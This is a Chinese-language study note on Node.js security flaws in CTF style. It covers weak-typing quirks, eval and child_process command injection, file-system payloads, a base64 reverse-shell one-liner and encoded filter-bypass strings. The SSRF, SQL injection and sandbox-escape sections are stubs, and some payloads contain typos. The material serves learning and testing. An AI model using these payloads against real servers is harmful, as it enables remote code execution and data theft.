Nodejs漏洞学习
nodejs入门
简单的说Node.js就是运行在服务端的JavaScript。
Node.js是一个基于Chrome JavaScript运行时建立的一个平台。
Node.js是一个事件驱动IO服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。
应用
- 第一大类:用户表单收集系统、后台管理系统、实时交互系统、考试系统、联网软件、高并发量的web应用程序
- 第二大类:基于web、canvas等多人联网游戏
- 第三大类:基于web的多人实时聊天客户端、聊天室、图文直播
- 第四大类:单页面浏览器应用程序
- 第五大类:操作数据库、为前端和移动端提供基于
json
的API
起http服务
var http = require('http');
http.createServer(function (request, response) {
//发送HTTP头部
// HTTP状态值: 200: OK
//内容类型: text/plain
response.writeHead(200, {'Content-Type': 'text/plain'});
//发送响应数据"Hello World"
response.end('Hello World\n');
}).listen(8888);
//终端打印如下信息
console.log('Server running at http://127.0.0:8888/');
nodejs语言漏洞
大小写变换
toUpperCase():
ı ==>I
ſ ==>S
toLowerCase():
İ ==>i
K ==>k
弱类型
- 与php相似的 数字与数字字符串比较的时候 数字型字符串会被转换之后 再比较
console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false
- 字符串与字符串相比较 比第一个ASCII码
console.log([]==[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2'); //true
console.log([11,16]<"10"); //false
-
空数组比较为false
-
数组之间比较 第一个值 如果有字符串取 第一个进行比较
-
数组永远比非数值字符串小
console.log(null==undefined) // 输出:true
console.log(null===undefined) // 输出:false
console.log(NaN==NaN) // 输出:false
console.log(NaN===NaN) // 输出:false
变量拼接
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
ES6模板字符串
我们可以使用反引号替代括号执行函数
可以用反引号替代 单引号 双引号
可以在反引号内插入变量,模板字符串是将字符串作为参数传入函数中,而参数是一个数组,所以数组遇到${]
字符串会被分割
var aaaa = "fake_s0u1";
console.log("hello %s",aaaa);
var aaaa = "fake_s0u1";
console.log`hello${aaaa}world`;
md5绕过
a && b && a.length===b.length && a!==b && md5(a+flag) === md5(b+flag)
定义的对象会被解析成[object Object]
代码注入
漏洞函数
process 的作用是提供当前 node.js 进程信息并对其进行控制。
spawn() 启动一个子进程 来执行命令 spawn(命令,{shell:true})
exec():启动一个子进程来执行命令,与spawn()不同的是其接口不同,它有一个回调函数获知子进程的状况。实际使用可以不加回调函数。
execFile() :启动一个子进程来执行可执行文件。实际利用时,在第一个参数位置执行 shell 命令,类似 exec。
fork():与spawn()类似,不同点在于它创建Node的子进程只需指定要执行的JavaScript文件模块即可。用于执行 js 文件,实际利用中需要提前写入恶意文件
eval()
javascript 的 eval 作用就是计算某个字符串,并执行其中的 js 代码。
var express = require("express");
var app = express();
app.get('/',function(req,res){
res.send(eval(req.query.a));
console.log(req.query.a);
})
app.listen(1234);
console.log('Server runing at http://127.0.0.1:1234/');
我们可以看到 我们在上面的源码中 使用了eval函数
fs模块:可以用来读取文件以及查看目录
require(‘fs’)
fs.readdirSync(path[, options])都可以用来查看目录 例如:
const fs = require('fs')
try {
const data = fs.readFileSync('/Users/joe/test.txt', 'utf8')
console.log(data)
} catch (err) {
console.error(err)
}
查看当前目录:fs.readdirSync(.) 用点来查看当前目录
查看到了当前目录,那么读取当前目录下的文件内容要用到的函数就是:
fs.readfileSync(1.txt)即可读取 。 这里给出playload:
?eval=reqrise('fs').readdirSync(.) 查看当前目录
?eval=require('fs').readfileSync(1.txt) 读取文件
settimeout()
settimeout(function,time),该函数作用是两秒后执行函数,function 处为我们可控的参数。
var express = require("express");
var app = express();
setTimeout(()=>{
console.log("console.log('Hacked')");
},2000);
var server = app.listen(1234,function(){
console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})
setinterval()
setinterval (function,time),该函数的作用是每个两秒执行一次代码。
var express = require("express");
var app = express();
setInterval(()=>{
console.log("console.log('Hacked')");
},2000);
var server = app.listen(1234,function(){
console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})
function()
function(string)(),string 是传入的参数,这里的 function 用法类似于 php 里的 create_function。
var express = require("express");
var app = express();
var aaa=Function("console.log('Hacked')")();
var server = app.listen(1234,function(){
console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})
process 模块命令执行
process 的作用是提供当前 node.js 进程信息并对其进行控制。
chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。
child_process.execSync(command[, options])
直接给出playload:
?eval=require('child_process').execSync(ls /)
exec
require('child_process').exec('calc');
execSync
require('child_process').execSync('ls /').toString()
execFile
require('child_process').execFile("calc",{shell:true});
fork
require('child_process').fork("./hacker.js");
spawn
spawn() 启动一个子进程 来执行命令 spawn(命令,{shell:true})
require('child_process').spawn("calc",{shell:true});
spawnSync
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
反弹shell
require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');
注意:BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)
PS:如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用
global.process.mainModule.constructor._load('child_process').exec('calc')
来执行命令
文件操作
那么在上面 我们已经可以执行我们像执行的代码 了 那么对于文件的操作也是很好实现的
操作函数后面有Sync 代表同步方法
nodejs文件系统模块中的方法均有异步和同步版本 比如读取文件内容的函数有 异步的fs.readFile() 和 同步的 fs.readFileSync()。
异步的方法函数 最后一个 参数为 回调函数 回调函数的 第一个参数 包含了错误信息
建议使用异步方法 性能更高 速度更快
增删查改
res.end(require('fs').readdirSync('.').toString())
res.end(require('fs').writeFileSync('./daigua.txt','内容').toString());
res.end(require('fs').readFileSync('./daigua.txt').toString());
res.end(require('fs').rmdirSync('./daigua').toString());
SSRF
\r\n注入
用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须==将请求作为原始字节输出==。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符。相反,这些字符被截断为其JavaScript表示的最低字节
SQL注入
VM沙箱逃逸
bypass
字符拼接
原语句
require("child_process").execSync('calc')
变形语句
require("child_process")['exe'%2B'cSync']('ls /')
require("child_process")["exe".concat("cSync")]('calc')
require("child_process")["exe".concat("cSync")]('calc')
require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('calc') utf-8编码 %65%78%65%63%53%79%6E%63 也是可以的
require("child_process")["\u0065\u0078\u0065\u0063\u0053\u0079\u006e\u0063"]('calc') unicode编码
eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdjYWxjJyk=','base64').toString())//base64